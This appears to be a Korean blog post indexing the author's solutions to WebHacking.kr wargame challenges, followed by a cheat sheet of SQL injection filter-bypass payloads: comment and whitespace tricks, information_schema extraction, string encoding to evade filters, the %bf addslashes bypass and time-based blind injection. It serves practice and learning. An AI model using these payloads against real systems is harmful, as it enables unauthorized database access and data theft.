Search

WebHacking.kr Challenge Write-Up (70/80)

사전 필요 지식

HTML, PHP 등 웹 구조
Base64, RSA, AES 등 암호
python, java, c 등 최소 코딩 기술
SQL injection, XSS 등 웹 공격 방식

참조하기 좋은 사이트

CyberChef 각종 암호화 및 복호화
XSS 치트시트
온라인 컴파일러(MySQL, PHP, JAVA 등)

필요도구

EditThisCookie (크롬 쿠키 변경 도구) - 쿠키값 확인 및 변조 (개발자 도구로 대체 가능)
Anaconda (파이썬 개발도구) - 파이썬 코딩
BurpSuite (웹 프록시 툴) - 스니핑 (파이썬으로 대체 가능)
MySQL (DB) - SQL 명령어 테스트 (온라인 컴파일러로 대부분 대체 가능)

타임라인

23.03.15. 시작
23.03.30. 50문제 (총 80)
23.04.04 상위 100위 진입 (61,546 users)

문제 목표

각 문제명을 클릭하면 풀이로 이동합니다.
붉은 글씨는 나중에도 충분히 참조할만한(까먹을만한) 내용이 있는 경우 표시했습니다.
LOCKED 태그가 붙은 건 잠긴 페이지입니다.
문제
점수
핵심 목표
20
쿠키 변조
50
Blind SQL Injection
35
소스값 변조를 통한 우회 + SQL Injection
30
단방향 암호 레인보우 테이블
30
소스코드 난독화 해제 + NULL 활용
10
소스코드 독해
30
SQLi, 필터링 우회
35
SQLi, HTTP Agent
90
Blind SQLi if()
25
개발자도구 인자조절
30
REGEX 해석
25
AAENCODE (JS 이모티콘 인코딩)
100
BlackBox Blind SQL Injection(Hard)
10
콘솔 복사붙여넣기
5
자바스크립트 비활성화
10
코드 해석
10
콘솔 복사붙여넣기
10
SQLi 공백 우회
15
MD5 Decrypt, 쿠키
20
소스 분석
25
Blind SQL Injection
50
Blind SQL Injection, SALT
20
XSS NULL문자 우회
10
코드 필터링 우회 및 쿠키 변조(extract)
15
PHP Wrapper
10
URL 더블인코딩
15
SQLi, 필터링 우회
50
.htaccess (PHP 실행 금지 설정)
40
SQLi DB, 테이블, 컬럼명 추출 Information_schema
55
DB Hijacking (.htaccess)
15
포트포워딩
15
쿠키 금지
20
10문제, POST, PHP
40
JS Debug
35
SQLi Insert Value
20
Vi 임시파일 swp
25
코드 해석 및 포트 포워딩
10
CR-LF(개행) Injection
10
코드 독해를 통한 필터링 우회
50
Blackbox Blind SQL Injection
25
에러메시지
20
base64
25
파일 업로드 필터링 (Content-Type)
50
;ls
55
SQLi addslashes 우회 %bf
30
SQLi 필터 우회 (2진수, 아스키)
15
SMTP 헤더 조작
35
FileName Injection(?)
30
SQLi or → ||
45
SQLi Addslashes 우회 %bf, 주석 우회
25
MD5 raw_output True 취약점
40
리버스 프록시, Request Header Injection (%0d%0a)
35
SQL procedure analyse()
10
BurpSuite
40
LIMIT Procedure analyse(), Blind SQLi, substr → left(right)
25
FLAG Brute Force (pyhton)
60
Time-based SQL Injection (sleep)
15
Socket, BurpSuite
20
SQL 함수로 필터링 우회 (Reverse)
30
Race Condition (Cookie)
20
SQL ‘as’와 HEX 변환
300
100
CSP 우회 (base 태그 취약점)
PRO
400
150
GraphQL Injection
MEMO Service
350
CHILD
150
300
REDOS LOCKED
sliping beauty
200
200
JS Console
invisible_dragon
300
280(var)
LOCKED
250(var)
Quine SQL LOCKED
50
크롬 개발자도구 검색
50
크롬 개발자도구 검색, 네트워크
50
TOCTOU LOCKED
child toctou
200
Better than 𝒳ℳℒ
200
300
LOCKED
old-43 RevengE
150

SQL Injection 우회 기법

✓ 주석

-- # /**/ ;%00

기본

'or 1=1#

✓ SELECT 공백 우회 및 2 표현 방식

select lv from chall7 where lv=(12345)union(select(4>>1))

주석 응용

#의 주석 범위는 %0a 줄바꿈 전까지
select lv from * where id='1212'# and pw='%0a or id='admin'%23
: /* */
select lv from * where id='1212'/* and pw=''*/ or id='admin'%23

✓ values 여러 값 입력

insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')
aaa','1.1.1.1','admin'),('bbb
insert into chall35(id,ip,phone) values(”guest”,”123.123.123.123”,”01012345678”),(”admin”,”MYIP”,”01099999999”)

공백 필터링

%09 (tab)
%0a (\n)
%0d (\r)
/**/ (주석)
() (괄호)
+ (더하기)

✓ ‘=’ 필터링

0)%09or%09no%09like%092%09--%09 # ) or no like 2 --
0)%09or%09no%09in%09('2')--%09 # or no in (’2’) --

✓ DB명, Information Schema 메타 데이터 테이블명, 필드명 추출

abcd','1111',{IP}),((SELECT database()),'1111',{IP});#
aaaa','1111','MYIP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'),'1111','MYIP');#
aaaa','1111','MYIP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz'),'1111','MYIP');#

✓ 필터링 조건 속 Blind SQL Injection

✓ ‘Admin’ 문자열 필터링

lv=9||id=0x61646d696e
0||id=char(97,100,109,105,110)
1&&id=0b0110000101100100011011010110100101101110
/?lv=1%26%26id=char(97,100,109,105,110)
0||id=char(0x61, 0x64, 0x6d, 0x69, 0x6e)

✓ ‘or’ ‘and’ 문자열 필터링

%26 = & %7c = |
1||2
1&&2
1%7c%7c2
1%26%262

✓ Procedure analyse()

! MySQL 8.0에서 제거
테이블명 구하기
val=1 procedure analyse();
SELECT 값이 여러개일 때 각 필드명 구하기
score=1 LIMIT 0,1 Procedure analyse()
score=1 LIMIT 1,1 Procedure analyse()
score=1 LIMIT 2,1 Procedure analyse()

✓ Substr 필터링

right(left(id,{}),1)

✓ SQL reverse() 활용

sql insert into chall59 values('nimda',123,reverse(id))-- ,'guest')

✓ MultiByte ‘\’ addslash 우회

%bf를 입력함으로서 역슬래시와 함께 묶여 쓰레기값으로 유니코드 상에서 인식 불가로 넘어가게 하는방법 %27 '를 그대로 살릴 수 있다. 멀티바이트 환경에서만 가능하다 (ex. EUC-KR)
%bf%27%bf%5c%27

MultiByte Character SQL Injection

'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.
substr(hex(test1),1,1)=0x41
※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.

Error Based SQL Injection

해당 값을 입력하면 Integer 범위 초과 에러가 발생
0xfffffffffffff*0xfffffffffffff

✓ Time Based SQL Injection

특정 조건이 참일 때 대기시간을 발생시켜 time-out 체크를 통해 Blind SQLi가 가능해진다.
if(length(pw)%3E0,sleep(3.0),1)
if(substr(pw,1,1)='h',benchmark(100000,md5('a')),1)

✓ Time Based SQL Injection (Heavy Query)

sleep과 benchmark가 둘다 막혀 있고 DB 내부 데이터가 많은 경우, 로딩을 과하게 시켜 시간 지연을 발생시키는 방법이다.
if(substr(pw,1,1)='h',(select count(*) from information_schema.columns A,information_schema.columns B, information_schema.columns C),1);

SQL Injection이 가능한지 알아볼 때

'를 썼을 때 에러가 나는지
' and '1'='1 ' and '1'='2  를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지
' or '1'='1 을 썼을 때 정상적으로 출력되는 지
숫자로 이루어진 컬럼 (ex. id=1) 을 id=200-1 로 넣었을 때 정상적으로 출력 되는 지
'||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언일 때 )
주석을 쓸때는 #(%23), -- (--%20), %0a

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.